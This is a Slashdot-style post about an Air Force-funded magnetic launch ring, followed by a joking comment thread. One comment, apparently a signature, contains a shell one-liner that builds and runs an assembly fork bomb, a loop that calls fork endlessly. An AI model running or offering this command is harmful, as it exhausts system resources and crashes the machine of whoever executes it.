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Magnetic Ring Could Launch Satellites, Weapons
MattSparkes writes, "A new study funded by the US Air Force has suggested a cheaper method of sending satellites (possibly missile weapons) into orbit. A 2-km-wide ring of superconducting magnets would contain and propel a payload, accelerating it over a period of hours, before suddenly flinging the satellite into space at 23 times the speed of sound. The satellites would be engineered to withstand the g-forces encountered (2,000 g), and be cased in an aerodynamic shell. A two-year study has been commisioned and will begin within a few weeks at LaunchPoint Technologies in Goleta, California." New Scientist points out that if such a launch ring were built, it would instantly become "one of the most important targets on the planet."
We could fling refrigerators at North Korea! How's that missile testing going, Kim, did we mention we can launch frigidaire's into orbit? I'd prefer launching cows in homage to Monty Python and the Holy Grail, but at 2000g, that would probably equate to throwing hamburger.
"Don't you know you're going to shock the monkey?"- Peter Gabriel
Yes!
As for it being a target, fuck that. Full steam ahead.
If we're not driving payloads into space at Mach 23 within 10 years, the terrorists have already won. Or something.
"New Scientist points out that if such a launch ring were built, it would instantly become "one of the most important targets on the planet.""
I knew lawn darts were dangerous...but god-damn.
Bill Clinton: Pimp we can believe in. - The Shirt!!!
If this ring is going to be "one of the most important targets on the planet", maybe they should build it as a series of concentric rings instead of a single ring. Perhaps havethe rings use alternating colors.
Unknown host pong.
"
It is cowardly, and a betrayal of whatever it means to be a Jew, to act as a white man
-James Baldwin
Suggestion for the first test: Enter it in next year's Punkin Chunkin' contest!
>> "What would the robut do? Frame someone!"
...then we can play catch.
"My pacemaker!"
"Flyin' in just a sweet place,
Never been known to fail..."
Federal Express, when it absolutely, positively has to be there at 23 times the speed of sound *
* Disclaimer: 23 X speed of sound service available between limited destinations. May be subject to 2000g so please wrap delicate items approprately.
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Paging Senator Stephens..
What was once true, is no longer so
+1 for human pancake.
Slashdot is kind of like Playboy; we aren't here to read the articles.
Soft tissue (brians, organs) would be the first to go.
I always knew that guys named Brian were soft.
Heck, you could also sell the program to the Republicans if you promise to use it to launch Democrats! :P)
Wins all around! (Joke, it's a joke, don't hit me...
I don't mean to worry the Democrats, but being launched into orbit with a railgun is on Alberto Gonzales latest list of things-that-are-not-torture.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Space burials (presumably of cremated remains).
Somewhere in space, there is a planet full of bugs, with giant balls of cremated humans hitting it, and a bunch of bug news programs showing grainy footage of our magnetic ring used to launch our rain of terror upon their world.
transporter_ii
Doctors destroy health, lawyers destroy justice, universities destroy knowledge, religion destroys spirituality
What if a dead weight (cargo) is hurled into space by the magnetic ring while a capsule containing human beings is connected to it with with a strong, but very elastic wire.
I'm pretty sure Wile E. Coyote tried that once. It didn't work out too well for him.